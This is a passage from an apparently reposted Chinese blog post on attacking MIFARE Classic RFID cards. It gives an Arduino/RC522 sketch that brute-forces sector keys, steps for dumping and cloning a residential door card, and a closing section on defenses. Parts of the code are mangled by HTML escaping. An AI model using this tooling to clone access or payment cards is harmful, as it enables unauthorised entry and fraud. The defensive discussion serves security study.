验证漏洞是目前使用最多的M1破解手段,在读卡器尝试去读取一个扇区时,卡会首先发一个随机数给读卡器,读卡器接到随机数之后利用自身的算法加密这个随机数再反馈回给卡,卡再用自己的算法计算一次,发现结果一致的话就认为读卡器是授权了的,然后就用开始自己的算法加密会话并跟读卡器进行传送数据。这时候问题就来了,当我们再次尝试去访问另一个扇区,卡片又会重复刚才那几个步骤,但此时卡跟读卡器之间的数据交换已经是被算法加密了的,而这个算法又是由扇区的密钥决定的,所以密钥就被泄露出来了。因此验证漏洞要求我们至少知道一个扇区的密钥,但目前大部分的扇区都没有全部加密,所以很容易就会被破解
5. 数据区段加密算法破解
这是在已知或破解出目标扇区的KeyA/KeyB密钥,且控制位至少包含可读/可写的前提下,读取出指定块区的dump文件后,通过多次"刷卡消费"得到多份不同的dump文件,通过后续的对比和分析逆向出卡本身业务算法逻辑的一种攻击方式
5. 实验过程及相关Arduino
0x1: 破解M1卡(钥匙扣)密码KeyA/KeyB
M1卡和M1兼容卡的KeyA和KeyB分别对应不同的授权控制,最后的读写控制由KeyA、KeyB、访问控制位共同决定,一般情况下,我们只要破解KeyA就可以进行大都数的卡操作
rc522在和M1卡进行auth认证时,如果当前传入的密钥不对,则M1的整个三向握手会失败,M1和清空当前会话(此前的选卡、锁卡全部无效),所以对于M1卡的爆破需要不断重复整个选卡-&锁卡-&认证过程。可以使用EEPROM来存储密钥破解过程的中间值
#include &SPI.h&
#include &RFID.h&
#include &EEPROM.h&
//4字节卡序列号,第5字节为校验字节
uchar serNum[5];
//扇区A密码,16个扇区,每个扇区密码6Byte
uchar sectorKeyA[16][16] = {
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}
uchar sectorNewKeyA[16][16] = {
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xff, 0x07, 0x80, 0x69, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xff, 0x07},
{0x80 ,0x69, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF},
{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}
//D10 - 读卡器CS引脚、D5 - 读卡器RST引脚
RFID rfid(10,5);
uchar str[MAX_LEN];
//MAX_LEN为16,数组最大长度
void initSectorKeyEEPROM(){
EEPROM.write(1, 255); //keyIndex_1
EEPROM.write(2, 255); //keyIndex_2
EEPROM.write(3, 255); //keyIndex_3
EEPROM.write(4, 255); //keyIndex_4
EEPROM.write(5, 255); //keyIndex_5
EEPROM.write(6, 240); //keyIndex_6
uchar sectorKeys[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
int addSector(){
int keyIndex_1,keyIndex_2,keyIndex_3,keyIndex_4,keyIndex_5,keyIndex_6;
keyIndex_1 = EEPROM.read(1);
keyIndex_2 = EEPROM.read(2);
keyIndex_3 = EEPROM.read(3);
keyIndex_4 = EEPROM.read(4);
keyIndex_5 = EEPROM.read(5);
keyIndex_6 = EEPROM.read(6);
if(keyIndex_1 &= 255){
if(keyIndex_2 &= 255){
if(keyIndex_3 &= 255){
if(keyIndex_4 &= 255){
if(keyIndex_5 &= 255){
if(keyIndex_6 &= 255){
Serial.println("crack error!, key reach the limit");
havaCracked = 1; EEPROM.write(0, havaCracked);
keyIndex_6++;
keyIndex_5++;
keyIndex_4++;
keyIndex_3++;
keyIndex_2++;
keyIndex_1++;
EEPROM.write(1, keyIndex_1); //keyIndex_1
EEPROM.write(2, keyIndex_2); //keyIndex_2
EEPROM.write(3, keyIndex_3); //keyIndex_3
EEPROM.write(4, keyIndex_4); //keyIndex_4
EEPROM.write(5, keyIndex_5); //keyIndex_5
EEPROM.write(6, keyIndex_6); //keyIndex_6
void printSector(){
int keyIndex_1,keyIndex_2,keyIndex_3,keyIndex_4,keyIndex_5,keyIndex_6;
keyIndex_1 = EEPROM.read(1); Serial.print(keyIndex_1); Serial.print('\t');
keyIndex_2 = EEPROM.read(2); Serial.print(keyIndex_2); Serial.print('\t');
keyIndex_3 = EEPROM.read(3); Serial.print(keyIndex_3); Serial.print('\t');
keyIndex_4 = EEPROM.read(4); Serial.print(keyIndex_4); Serial.print('\t');
keyIndex_5 = EEPROM.read(5); Serial.print(keyIndex_5); Serial.print('\t');
keyIndex_6 = EEPROM.read(6); Serial.print(keyIndex_6); Serial.print('\t');
Serial.println(" ");
//破解卡指定扇区密码
void crackSector(int sectorNum){
int keyIndex_1,keyIndex_2,keyIndex_3,keyIndex_4,keyIndex_5,keyIndex_6;
//printSector();
keyIndex_1 = EEPROM.read(1);
keyIndex_2 = EEPROM.read(2);
keyIndex_3 = EEPROM.read(3);
keyIndex_4 = EEPROM.read(4);
keyIndex_5 = EEPROM.read(5);
keyIndex_6 = EEPROM.read(6);
uchar sectorKeys[6] = {(uchar)keyIndex_1, (uchar)keyIndex_2, (uchar)keyIndex_3, (uchar)keyIndex_4, (uchar)keyIndex_5, (uchar)keyIndex_6};
status = rfid.auth(PICC_AUTHENT1A, sectorNum * 4, sectorKeys, serNum);
if (status == MI_OK) {
Serial.println("crack success!");
Serial.print("sector ");
Serial.print(sectorNum); Serial.print(" key:
printSector();
havaCracked = 1; EEPROM.write(0, havaCracked);
addSector();
void readSector(int blockNum, unsigned char *recvData){
//选择操作的块地址0~63
uchar blockA
blockAddr = blockN
status = rfid.auth(PICC_AUTHENT1A, blockAddr, sectorNewKeyA[blockAddr/4], serNum);
if (status == MI_OK) {
status = rfid.read(blockAddr, recvData);
if (status == MI_OK) {
//Serial.println("Read from the card ,the data is : ");
for (int i=0; i&MAX_LEN; i++) {
Serial.print(recvData[i]);
Serial.print('\t');
Serial.println(" ");
Serial.println("Auth error");
//Serial.println(" ");
void setup()
int havaCracked = 0;
int crackSectorIndex = 0;
Serial.begin(9600);
SPI.begin();
rfid.init(); //初始化
Serial.print("init ");
EEPROM.write(0, havaCracked); //havaCracked
EEPROM.write(10, crackSectorIndex); //havaCracked
initSectorKeyEEPROM();
void loop()
int havaCracked = 0;
int crackSectorIndex = 0;
//Search card, return card types
if (rfid.findCard(PICC_REQIDL, serNum) == MI_OK) {
//Serial.println("Find the card!");
// Show card type
//ShowCardType(serNum);
//防冲突检测,读取卡序列号
if (rfid.anticoll(serNum) == MI_OK) {
//Serial.print("The card's number is
//显示卡序列号
for(int i = 0; i & 4; i++){
//Serial.print(0x0F & (serNum[i] && 4),HEX);
//Serial.print(0x0F & serNum[i],HEX);
//Serial.println("");
//选卡(锁定卡片,防止多数读取,去掉本行将连续读卡),并返回卡容量
RC_size = rfid.selectTag(serNum);
if (RC_size != 0) {
//Serial.print("Lock Card ok!
//Serial.println(RC_size);
havaCracked = EEPROM.read(0);
//Serial.print("havaCracked: ");
Serial.println(havaCracked);
//Serial.print("EEPROM.read(10): ");
Serial.println(EEPROM.read(10));
if(havaCracked == 1 && EEPROM.read(10) &= 15){
crackSectorIndex = EEPROM.read(10);
crackSectorIndex++;
EEPROM.write(10, crackSectorIndex);
EEPROM.write(0, 0);
initSectorKeyEEPROM();
else if(havaCracked == 0){
//Serial.println("starting crack the card: ...");
crackSectorIndex = EEPROM.read(10);
crackSector(crackSectorIndex);
memset(serNum,0,sizeof(uchar) * 5);
//rfid.halt();
//命令卡片进入休眠状态
//清空状态
memset(serNum,0,sizeof(uchar) * 5);
memset(str,0,sizeof(uchar) * MAX_LEN);
status = '\x00';
void ShowCardType(unsigned char * type)
Serial.print("Card type: ");
if(type[0]==0x04&&type[1]==0x00)
Serial.println("MFOne-S50");
else if(type[0]==0x02&&type[1]==0x00)
Serial.println("MFOne-S70");
else if(type[0]==0x44&&type[1]==0x00)
Serial.println("MF-UltraLight");
else if(type[0]==0x08&&type[1]==0x00)
Serial.println("MF-Pro");
else if(type[0]==0x44&&type[1]==0x03)
Serial.println("MF Desire");
Serial.println("Unknown");
} 可以按照此方法破解出所有扇区的密码,值得注意的是,keyA、keyB的破解时间成本都是(2 ^ 8) ^ 6次,即最多要进行这么多次的"寻卡-选卡-auth认证"才能得到一个扇区的密码,而得到所有扇区还要再乘16
0x2: 读取并保存整张卡的binary dump
dump整个卡的binary其实就是遍历所有区块read出数据,这里要注意的是read前需要通过auth认证,M1和auth成功和失败都是一样的,一旦成功/失败,之前的寻卡-选卡-锁卡的状态全都要清零重来,所以我们依然需要通过EEPROM来保存我们当前read的区块index
0x3: 向指定扇区/区块写入数据
受到写保护控制位的限制,我们无法修改整个M1卡,但是可以找一张不带写保护的白卡直接将dump数据写入,直接通过篡改目标M1卡特定区段的数据达到"免费洗澡"、"免费吃饭"等目的已经逐渐没有探索空间了,现在大多数RFID卡及其业务场景都是采用ID卡或者准ID卡(可编辑的ID卡)模式,卡本身只保存一个ID号,所有的扣费、充值逻辑都在Server端完成
小区门卡原始数据
将这份数据写入到一张0区块可檫写的白卡中
0x4: 复制小区门卡
在实际实验中,由于小区门卡从sector 3开始就不是采用默认密钥FF,故无法完整dump出整张原始卡,尝试了爆破但是时间消耗太大,最终放弃,不过这也引出后文对当前RFID卡安全的讨论
6. 攻防讨论
0x1: 密钥B攻击的应用层防御
1. 应用时改变密钥的初始值
密钥的初始值指卡片出厂时被赋予的设置,一般都是"FFFFFFFFFFFF",在一个新系统(例如公交系统)应用期。密钥A和B都应该重新设置。特别是当系统指定使用密钥A的时候,不要忘记要把B也换掉。否则它就是一个后门
这种防御手段对"算法逆向后篡改"、"dump复制全卡"这2种攻击都能起到一定作用,毕竟逐个扇区密码爆破相当消耗时间
2. 后台建账,定期核对
为每张卡建立账户,记录每次(天)充值、消费和余额信息。并尽量每天对账,找出可疑账户记录
这种防御手段对IC卡复制攻击有一定的作用,但是对ID卡复制攻击仍然无法防御
3. 应用层数据保护
终端对存储在数据块中的应用数据(电子钱包余额等)使用较强的算法进行加密后再写入,或对关键数据进行mac计算后将MAC码与数据一并保存在数据块,读入时进行验证(但此方法只能解决随意改写的攻击)
0x2: 密钥B攻击的应用层防御
限制密钥B在可读条件下的使用权限,取消此时的认证功能
0x3: 密钥B攻击的芯片层防御
在芯片层工程实现密码层的防御措施
0x4: 密钥管理
有很多规模不大的M1卡应用系统从来没有密钥管理的概念,发出的卡不仅所有扇区的密钥相同,而且所有卡的密钥都一样。一旦一张卡被破解,系统内所有的卡都等于被破解。简单的解决办法是先产生一个主密钥然后对每张卡使用强度足够的分散算法分散出每张卡的密钥,还可以继续分散出每个扇区的字密钥
这方法虽然不能阻止对每张卡的分别破解,却给大规模破解增加了难度
0x5: 防止可修改UID的M1卡(复制卡)的方法
1. 判断Select命令的返回SAK,M1卡的返回值应该是08。如果第一个字节为28,则有可能是CPU卡模拟的M1卡
2. 在选卡后修改第0块会先发送两个特殊指令,要防卡该类卡就是看这两个指令有没有返回值
//这种检测思想有点类似恶意软件检测中Sandbox的主动行为探测
3. M1卡的KeyA、KeyB早已经被破解了,所以卡内的重要数据必须要和UID一起加密才能保证一定的安全性
版权声明:本文内容由互联网用户自发贡献,本社区不拥有所有权,也不承担相关法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件至: 进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容。
用云栖社区APP,舒服~
【云栖快讯】数据库技术天团集体亮相,分享一线生产实践经验,告诉你踩过的坑、走过的路,都是老司机,靠谱!干货分享,不可错过!&&
云数据库 HBase 版(ApsaraDB for HBase)是基于 Hadoop 的一个分布式数据库,支持海...
为您提供简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本...
2017杭州云栖大会火热抢票
Loading...

我要回帖

更多关于 rfid上位机软件 的文章

 

随机推荐